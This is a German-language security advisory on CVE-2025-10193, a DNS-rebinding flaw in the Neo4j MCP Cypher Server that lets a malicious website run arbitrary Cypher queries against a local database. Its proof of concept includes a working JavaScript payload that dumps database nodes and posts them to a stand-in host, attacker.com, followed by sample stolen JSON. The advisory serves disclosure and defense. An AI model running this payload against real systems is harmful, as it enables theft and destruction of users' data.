Neo4j MCP Cypher Server durch DNS-Rebinding anfällig für Datenbankübernahme
Autor: Evan Harris
Betroffene Komponente: Neo4j MCP Cypher Server
Betroffene Versionen: 0.2.2 bis 0.3.1
CVE: CVE-2025-10193
CVSS-4.0-Bewertung: 7.4 (Hoch) - CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Übersicht
Der Neo4j MCP Cypher Server stellt einen HTTP-Endpunkt zur Ausführung von Cypher-Abfragen gegen eine Neo4j-Datenbank bereit.
MCPSec hat eine DNS-Rebinding-Schwachstelle im Server entdeckt, die es entfernten Angreifern ermöglicht, Sicherheitsrichtlinien des Browsers zu umgehen und beliebige Cypher-Abfragen gegen die über MCP erreichbare Datenbankinstanz auszuführen.
Neo4j hat dieses Problem im Release v0.4.0 behoben. Alle Nutzer der betroffenen Versionen sollten umgehend aktualisieren.
Andere auf dieser Website behandelte Werkzeuge scheitern auf dieselbe Weise: DNS-Rebinding-Schwachstelle im SSE-Transport des Vet MCP Servers und Datenexfiltration und Datenvernichtung in MLflow durch fehlende Origin-Validierung (DNS-Rebinding).
Auswirkung
Angreifer erlangen vollständigen POST-Zugriff auf den Endpunkt /api/mcp, der vom lokalen Neo4j MCP Cypher Server bereitgestellt wird.
Dies ermöglicht die unbefugte Ausführung beliebiger Cypher-Abfragen und verschafft einem Angreifer somit vollständige administrative Kontrolle über die Neo4j-Datenbank. Dies kann zu Folgendem führen:
- Vollständige Exfiltration sensibler, in der Datenbank gespeicherter Informationen.
- Unbefugte Datenmanipulation oder -beschädigung.
- Löschung von Daten und Denial of Service.
Der DNS-Rebinding-Angriff kann innerhalb von Sekunden ausgeführt werden, nachdem ein Opfer eine bösartige Website besucht, und setzt lediglich voraus, dass der verwundbare Server lokal ausgeführt wird.
Proof of Concept
Das Angriffsszenario setzt Folgendes voraus:
- Das Opfer führt eine verwundbare Version des Neo4j MCP Cypher Servers auf seinem lokalen Rechner aus.
- Das Opfer ruft eine bösartige, vom Angreifer kontrollierte Website auf.
- Die Website führt einen DNS-Rebinding-Angriff aus und bringt den Browser des Opfers dazu, Befehle an den Neo4j-Server zu senden.
Sobald das Rebinding abgeschlossen ist, kann der Angreifer den Browser des Opfers nutzen, um bösartige Cypher-Abfragen an den lokal bereitgestellten Endpunkt /api/mcp zu senden. Anschließend können Daten an den Server des Angreifers exfiltriert oder Daten manipuliert und gelöscht werden.
MCPSec hat einen Proof-of-Concept-Angriff mit den folgenden Schritten durchgeführt:
-
Bereitstellung einer DNS-Rebinding-Anwendung (z. B. Singularity of Origin).
-
Erstellung eines JavaScript-Payloads, das von der bösartigen Website ausgeliefert wird, um eine Abfrage auszuführen und die Daten zu exfiltrieren.
const Neo4jRebind = () => {
// The core attack function. It sends a malicious Cypher query.
function attack(headers, cookie, body) {
const maliciousQuery = 'MATCH (n) RETURN n LIMIT 100'; // Query to dump all nodes
fetch('http://localhost:8000/api/mcp', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Accept': 'application/json, text/event-stream',
'Connection': 'keep-alive',
'Cache-Control': 'no-cache'
},
body: JSON.stringify({ query: maliciousQuery })
}).then(response => {
const ATTACKER_SERVER = 'https://attacker.com/steal-neo4j-data';
response.text().then(databaseContents => {
// Send the stolen database contents to the attacker's server
fetch(ATTACKER_SERVER, {
method: 'POST',
body: JSON.stringify(databaseContents)
});
}).catch(e => console.error('Failed to parse Neo4j response', e));
}).catch(e => console.error("Failed to post Cypher query", e));
}
// Function to check if the rebound service is the target Neo4j server
async function isService(headers, cookie, body) {
try {
const response = await fetch(`http://localhost:8000/`, { mode: 'no-cors' });
// A successful ping (even opaque) suggests the port is open.
return true;
} catch (e) {
return false;
}
}
return {
attack,
isService
}
}
Registry["Neo4jRebind"] = Neo4jRebind();
- Betrieb eines Datensammlungsservers, um die POST-Anfrage mit dem gestohlenen Datenbankinhalt zu empfangen.
Nachfolgend ein Beispiel für die aus der Datenbank eines Opfers exfiltrierten JSON-Daten, die potenziell sensible Benutzerinformationen enthalten.
{
"results": [
{
"columns": ["n"],
"data": [
{
"row": [
{
"name": "Evan Harris",
"email": "evan.harris@example.com",
"role": "admin",
"password_hash": "sha256:abc123def456..."
}
],
"meta": [{...}]
},
{
"row": [
{
"project": "Project Titan",
"api_key": "neo-secret-key-xyz789",
"status": "active"
}
],
"meta": [{...}]
}
]
}
],
"errors": []
}
Empfohlene Gegenmaßnahmen
Für Nutzer (sofort)
- Aktualisieren Sie umgehend auf
mcp-neo4j-cypherVersion v0.4.0 oder höher. Diese Version enthält den Patch, der den HTTP-Host-Header validiert, um diesen Angriff zu verhindern. - Wenn Sie nicht aktualisieren können, wechseln Sie von HTTP auf stdio. Alternativ können Sie einen Filter für Netzwerkanfragen vor Ihren Neo4j Cypher MCP Server schalten, um sich gegen ungültige Host-Header zu schützen.
Diese Schwachstelle wurde dem Neo4j-Team im Rahmen verantwortungsvoller Offenlegung gemeldet. Das Team reagierte schnell, um das Problem zu verifizieren und zu patchen.
Zeitleiste der Offenlegung
- 2025-09-08: Neo4j bestätigt den Eingang der Meldung.
- 2025-09-09: Neo4j erkennt das Risiko des Angriffsvektors an.
- 2025-09-09: Detaillierte Anleitung und Beispiele zur Behebung an das Neo4j-Team übermittelt.
- 2025-09-09: Neo4j erstellt einen Pull Request mit Schutzmaßnahmen.
- 2025-09-11: Die gepatchte Version v0.4.0 wird veröffentlicht.
- 2025-09-11: CVE-2025-10193 wird vergeben und das GitHub Security Advisory veröffentlicht.
- 2025-09-12: Veröffentlichungsdatum des technischen Sicherheitshinweises vereinbart.
- 2025-10-13: Technischer Sicherheitshinweis veröffentlicht.
Fazit
Die DNS-Rebinding-Schwachstelle im Neo4j MCP Cypher Server verdeutlicht ein hohes Sicherheitsrisiko für Entwicklerwerkzeuge, die lokale Datenbankschnittstellen offenlegen. Diese Dienste bieten zwar leistungsfähige lokale Funktionalität, können jedoch zu einem Einfallstor für webbasierte Angriffe werden, wenn sie nicht ordnungsgemäß abgesichert sind. Dies kann zur vollständigen Kompromittierung sensibler Daten führen.
Ein Lob an das Neo4j-Team für seine professionelle und schnelle Reaktion beim Patchen dieser Schwachstelle. Alle Nutzer der betroffenen Komponente sollten auf die neueste Version aktualisieren, um den Schutz ihrer Daten sicherzustellen.